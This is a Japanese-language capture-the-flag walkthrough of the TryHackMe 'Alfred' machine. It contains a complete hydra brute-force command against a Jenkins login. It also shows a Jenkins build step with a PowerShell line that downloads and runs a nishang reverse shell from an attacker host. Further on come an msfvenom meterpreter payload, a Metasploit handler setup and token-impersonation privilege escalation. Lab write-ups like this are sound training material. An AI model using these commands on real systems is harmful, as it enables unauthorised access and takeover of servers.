今回はTryHackMeのAlfredを攻略していきます。

スキャニング

いつもどおり、まずはスキャニングをしてみます。

nmap -sV -sC 10.10.59.231

80, 3389, 8080 の3つのポートが空いてます。そのうち、80と8080はhttpなので、ブラウザでアクセスして確認してみます。

80番ポート

8080番ポートでは Jenkins が動いています。

Jenkinsの初期IDを調査すると admin であることがわかります。いくつかよくあるパスワードを試してみるとパスワードが簡単にわかります。また別パターンとして、hydraを使う方法も説明します。

ここから hydra を使って認証情報を奪取を試みます。

hydraコマンドは作るのが難しいです。全体のコマンドはこちらです。

hydra -l <username> -P <wordlist> <IPaddress> http-post-form <login request pattern>

パラメータは下記を使います

Jenkins の初期IDを調べてみると admin だとわかります。なので、これのパスワードを見つけていきます。また wordlist は rockyou.txt を使います。

項目
usernameadmin
wordlist/usr/share/wordlists/rockyou.txt
IPaddress環境に合わせて設定
login request patternのちほど説明

login request pattern を除いたコマンドを作るとこちらになります。今回は8080番ポートを使うので -s オプションで8080を指定します。

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.59.231 -s 8080 http-post-form <login request pattern>

あとはlogin request patternですが、hydraで一番難しいのがここです。

この部分のフォーマットはこちらです。

"<ログイン フォームへのパス>:<POSTリクエスト本文、マジック文字列 ^USER^ と ^PASS^>:<無効なログインに表示されるパターン>"

ログインフォームへのパスと本文などを取得するためにBurpSuiteを使います。

エラーメッセージは Invalid username or password

login request pattern はこちらです

"/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"

最終的なhydraコマンド

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.59.231 -s 8080 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"

初期アクセス

Jenkinsにログインします。その後にprojectを選択します。

Configureを選択します

ビルドコマンドを設定する箇所があります。

コンソールアウトプットから出力結果が見れます。

ビルドコマンドを設定する箇所にリバースシェルをダウンロードして、実行することで侵入を狙います。

  1. リバースシェルをダウンロードする
  2. JenkinsからダウンロードできるようにWebサーバを作る
  3. リバースシェルの待受ポートを作る
  4. ビルドコマンド設定欄にリバースシェルのダウンロードと実行を行うコマンドを設定する
  5. ビルドする

リバースシェルをダウンロードします。

wget https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1

Webサーバを作ります

python3 -m http.server

リバースシェルの待受ポートを作る

nc -lnvp 1234

リバースシェルのダウンロードと実行を行うコマンドを設定

powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.103.28:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.103.28 -Port 1234

ビルド実行

リバースシェル完了

ユーザフラグ取得

シェルの切り替え

下記の流れでシェルを切り替えます

  1. リバースシェルのプログラムを作成する
  2. JenkinsからダウンロードできるようにWebサーバを作る
  3. Jenkinsで新規プロジェクトを作成し、リバースシェルのプログラムを実行するコマンドを設定
  4. ビルドする

リバースシェルのプログラムを作成します。

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.10.103.28 LPORT=5555 -f exe -o rshell.exe

Webサーバを作ります。

ビルド設定

新規プロジェクトを作成します。

新規プロジェクトの設定で、Buildを設定します
このコマンドは 攻略対象マシンへrshell.exe をダウンロードするコマンドです。

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.10.103.28:8000/rshell.exe','rshell.exe')"

リバースシェルの待受けポートを作成するため、Metasploitハンドラーの設定を行います。exploit/multi/handler は、Metasploit Framework に含まれるモジュールの一つで、リモートアクセスペイロード(RAT: Remote Access Tool)のリスナーとして機能します。このモジュールは攻撃者がペイロード(リバースシェルやバインドシェルなど)をターゲットのシステムで実行した後、そのペイロードと接続して制御を得るために使用されます。

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.103.28 
set LPORT 5555
run

rshell.exe を攻略対象マシンへダウンロードするためにプロジェクトを実行します。

rshell.exeのダウンロード確認

リバースシェルを行うため、rshell.exeを実行します。

Start-Process "rshell.exe"

whoami /priv
load incognito
list_tokens -g
impersonate_token "BUILTIN\Administrators"
getuid
ps
migrate XXX